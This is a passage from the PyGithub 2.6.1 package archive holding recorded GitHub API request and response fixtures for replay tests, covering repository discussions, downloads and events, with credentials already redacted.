named 'github' but i pip installed pygithub?"},{"number":1778,"title":"Dump Issue to structured format"}]}}}} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testGetDiscussionsByCategory.txt0000644000175100001660000002631514756101563026743 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Tue, 17 Sep 2024 13:52:45 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"c8e45d1a983f482b7c91fe66326bb90a746e7a7d4592af657e9f4076fc3c4466"'), ('Last-Modified', 'Tue, 17 Sep 2024 06:27:32 GMT'), ('X-OAuth-Scopes', 'read:discussion, read:org'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2024-10-04 11:29:00 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4981'), ('X-RateLimit-Reset', '1726582607'), ('X-RateLimit-Used', '19'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', '7F55:1BAA22:DE780E:E05464:66E989AD')] {"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2024-09-17T06:27:32Z","pushed_at":"2024-09-12T10:47:45Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":16092,"stargazers_count":6905,"watchers_count":6905,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1762,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":341,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1762,"open_issues":341,"watchers":6905,"default_branch":"main","permissions":{"admin":true,"maintain":true,"push":true,"triage":true,"pull":true},"temp_clone_token":"","custom_properties":{},"organization":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"network_count":1762,"subscribers_count":111} https POST api.github.com None /graphql {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"query": "\n query Q($repo: String!, $owner: String!, $answered: Boolean, $category_id: ID, $states: [DiscussionState!], $first: Int, $last: Int, $before: String, $after: String) {\n repository(name: $repo, owner: $owner) {\n discussions(answered: $answered, categoryId: $category_id, states: $states, first: $first, last: $last, before: $before, after: $after) {\n totalCount\n pageInfo {\n startCursor\n endCursor\n hasNextPage\n hasPreviousPage\n }\n nodes { number title }\n }\n }\n }\n ", "variables": {"repo": "PyGithub", "owner": "PyGithub", "answered": null, "category_id": "MDE4OkRpc2N1c3Npb25DYXRlZ29yeTMyMDI5MDYy", "states": null, "first": 30}} 200 [('Date', 'Tue, 17 Sep 2024 13:52:46 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('X-OAuth-Scopes', 'read:discussion, read:org'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2024-10-04 11:29:00 UTC'), ('X-GitHub-Media-Type', 'github.v4; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4988'), ('X-RateLimit-Reset', '1726582607'), ('X-RateLimit-Used', '12'), ('X-RateLimit-Resource', 'graphql'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', '7F12:39E39C:D5995D:D7719E:66E989AD')] {"data":{"repository":{"discussions":{"totalCount":7,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAyNC0wOS0xM1QxOToyMzowOSswMjowMM4AbYx8","endCursor":"Y3Vyc29yOnYyOpK5MjAyMC0xMi0wOVQwNjo0NDozMiswMTowMM2_Dw==","hasNextPage":false,"hasPreviousPage":false},"nodes":[{"number":3044,"title":"Automaticlly look for access tokens in standard places"},{"number":2997,"title":"Response caching"},{"number":2057,"title":"Do you have plans to add workflows features?"},{"number":2242,"title":"Top repo contributors"},{"number":2173,"title":"Dedicated builder object for review comments?"},{"number":1993,"title":"Drop .pyi?"},{"number":1780,"title":"Show an example of a more advanced query"}]}}},"extensions":{"warnings":[{"type":"DEPRECATION","message":"The id MDE4OkRpc2N1c3Npb25DYXRlZ29yeTMyMDI5MDYy is deprecated. Update your cache to use the next_global_id from the data payload.","data":{"legacy_global_id":"MDE4OkRpc2N1c3Npb25DYXRlZ29yeTMyMDI5MDYy","next_global_id":"DIC_kwDOADYVqs4B6LmG"},"link":"https://docs.github.com"}]}} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testGetDiscussionsByStates.txt0000644000175100001660000002561614756101563026434 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Tue, 17 Sep 2024 13:49:29 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"c8e45d1a983f482b7c91fe66326bb90a746e7a7d4592af657e9f4076fc3c4466"'), ('Last-Modified', 'Tue, 17 Sep 2024 06:27:32 GMT'), ('X-OAuth-Scopes', 'read:discussion, read:org'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2024-10-04 11:29:00 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4987'), ('X-RateLimit-Reset', '1726582607'), ('X-RateLimit-Used', '13'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', '7F0A:8BC4A:D5EE80:D7C1D7:66E988E9')] {"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2024-09-17T06:27:32Z","pushed_at":"2024-09-12T10:47:45Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":16092,"stargazers_count":6905,"watchers_count":6905,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1762,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":341,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1762,"open_issues":341,"watchers":6905,"default_branch":"main","permissions":{"admin":true,"maintain":true,"push":true,"triage":true,"pull":true},"temp_clone_token":"","custom_properties":{},"organization":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"network_count":1762,"subscribers_count":111} https POST api.github.com None /graphql {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"query": "\n query Q($repo: String!, $owner: String!, $answered: Boolean, $category_id: ID, $states: [DiscussionState!], $first: Int, $last: Int, $before: String, $after: String) {\n repository(name: $repo, owner: $owner) {\n discussions(answered: $answered, categoryId: $category_id, states: $states, first: $first, last: $last, before: $before, after: $after) {\n totalCount\n pageInfo {\n startCursor\n endCursor\n hasNextPage\n hasPreviousPage\n }\n nodes { number title }\n }\n }\n }\n ", "variables": {"repo": "PyGithub", "owner": "PyGithub", "answered": null, "category_id": null, "states": ["CLOSED"], "first": 30}} 200 [('Date', 'Tue, 17 Sep 2024 13:49:29 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('X-OAuth-Scopes', 'read:discussion, read:org'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2024-10-04 11:29:00 UTC'), ('X-GitHub-Media-Type', 'github.v4; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4991'), ('X-RateLimit-Reset', '1726582607'), ('X-RateLimit-Used', '9'), ('X-RateLimit-Resource', 'graphql'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', '7FF2:2E65B1:C92755:CAF635:66E988E9')] {"data":{"repository":{"discussions":{"totalCount":6,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAyNC0wOC0yOFQxNzozMjoxMiswMjowMM4AYpFV","endCursor":"Y3Vyc29yOnYyOpK5MjAyMy0wMy0zMFQxODoxODo0OSswMjowMM4ATJZD","hasNextPage":false,"hasPreviousPage":false},"nodes":[{"number":2938,"title":"How can I tell if my branch has a Pull Request?"},{"number":2495,"title":"Definition of the initial population for the genetic algorithm by the user"},{"number":2559,"title":"Release of new version for this library"},{"number":2104,"title":"How do I call /installation/repositories API?"},{"number":2539,"title":"Pull request accross different repository"},{"number":2480,"title":"Is there a way to search if a string present in default branch?"}]}}}} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testGetDownloads.txt0000644000175100001660000000136514756101563024374 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/downloads {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4968'), ('content-length', '277'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"209ba3e85bfec4914fb88bb2d12b55e9"'), ('date', 'Sun, 27 May 2012 06:55:04 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"content_type":".py","download_count":0,"url":"https://api.github.com/repos/PyGithub/PyGithub/downloads/245143","size":1024,"name":"Hook.py","created_at":"2012-05-27T06:54:54Z","description":"","id":245143,"html_url":"https://github.com/downloads/PyGithub/PyGithub/Hook.py"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testGetEvents.txt0000644000175100001660000012766314756101563023720 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/events {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4965'), ('content-length', '44412'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next"'), ('etag', '"a0d405b3f385bd0d26640c75b50c95dd"'), ('date', 'Sun, 27 May 2012 06:57:59 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"type":"DownloadEvent","payload":{"download":{"name":"Hook.py","size":1024,"created_at":"2012-05-27T06:54:54Z","content_type":".py","url":"https://api.github.com/repos/PyGithub/PyGithub/downloads/245143","download_count":0,"id":245143,"description":"","html_url":"https://github.com/downloads/PyGithub/PyGithub/Hook.py"}},"public":true,"repo":{"url":"https://api.github.com/repos/PyGithub/PyGithub","id":3544490,"name":"PyGithub/PyGithub"},"created_at":"2012-05-27T06:54:55Z","id":"1556239111","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"DownloadEvent","payload":{"download":{"name":"htmlcov.zip","size":258048,"created_at":"2012-05-27T06:53:47Z","content_type":".zip","download_count":0,"url":"https://api.github.com/repos/PyGithub/PyGithub/downloads/245142","id":245142,"description":"","html_url":"https://github.com/downloads/PyGithub/PyGithub/htmlcov.zip"}},"public":true,"repo":{"url":"https://api.github.com/repos/PyGithub/PyGithub","id":3544490,"name":"PyGithub/PyGithub"},"created_at":"2012-05-27T06:53:48Z","id":"1556239049","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"PushEvent","payload":{"head":"956279094a7383b6a8f00c93770ed02ca711f8e5","size":4,"push_id":80734053,"ref":"refs/heads/topic/RewriteWithGeneratedCode","commits":[{"sha":"8cb3e63e80f3ab741ca580eed791a85fb4e1b968","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/8cb3e63e80f3ab741ca580eed791a85fb4e1b968","distinct":true,"message":"Test Team"},{"sha":"e7fe18b7dd3daa03a6ebb7f83a4f100c0f68e96b","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/e7fe18b7dd3daa03a6ebb7f83a4f100c0f68e96b","distinct":true,"message":"Test Organization members"},{"sha":"4169010f17cf66a9f1e43e476115485ed7cda90c","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/4169010f17cf66a9f1e43e476115485ed7cda90c","distinct":true,"message":"Improve coverage of Organization"},{"sha":"956279094a7383b6a8f00c93770ed02ca711f8e5","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/956279094a7383b6a8f00c93770ed02ca711f8e5","distinct":true,"message":"Test Repository.create_git_*"}]},"public":true,"repo":{"url":"https://api.github.com/repos/PyGithub/PyGithub","id":3544490,"name":"PyGithub/PyGithub"},"created_at":"2012-05-27T06:00:30Z","id":"1556235497","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"IssuesEvent","payload":{"action":"opened","issue":{"number":30,"created_at":"2012-05-27T05:40:15Z","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"body":"Body created by PyGithub","comments":0,"title":"Issue also created by PyGithub","updated_at":"2012-05-27T05:40:15Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/30","id":4769659,"assignee":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"milestone":{"number":2,"due_on":"2012-06-04T07:00:00Z","created_at":"2012-03-08T12:22:28Z","title":"Version 1.0: coherent public interface","creator":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/2","id":93547,"open_issues":10,"closed_issues":2,"description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/PyGithub/PyGithub/tree/topic/RewriteWithGeneratedCode","state":"open"},"closed_at":null,"user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"html_url":"https://github.com/PyGithub/PyGithub/issues/30","labels":[{"name":"Question","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Question","color":"02e10c"}],"state":"open"}},"public":true,"repo":{"url":"https://api.github.com/repos/PyGithub/PyGithub","id":3544490,"name":"PyGithub/PyGithub"},"created_at":"2012-05-27T05:40:15Z","id":"1556234207","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"MemberEvent","payload":{"action":"added","member":{"gravatar_id":"1517ed584458ccf83e03f5d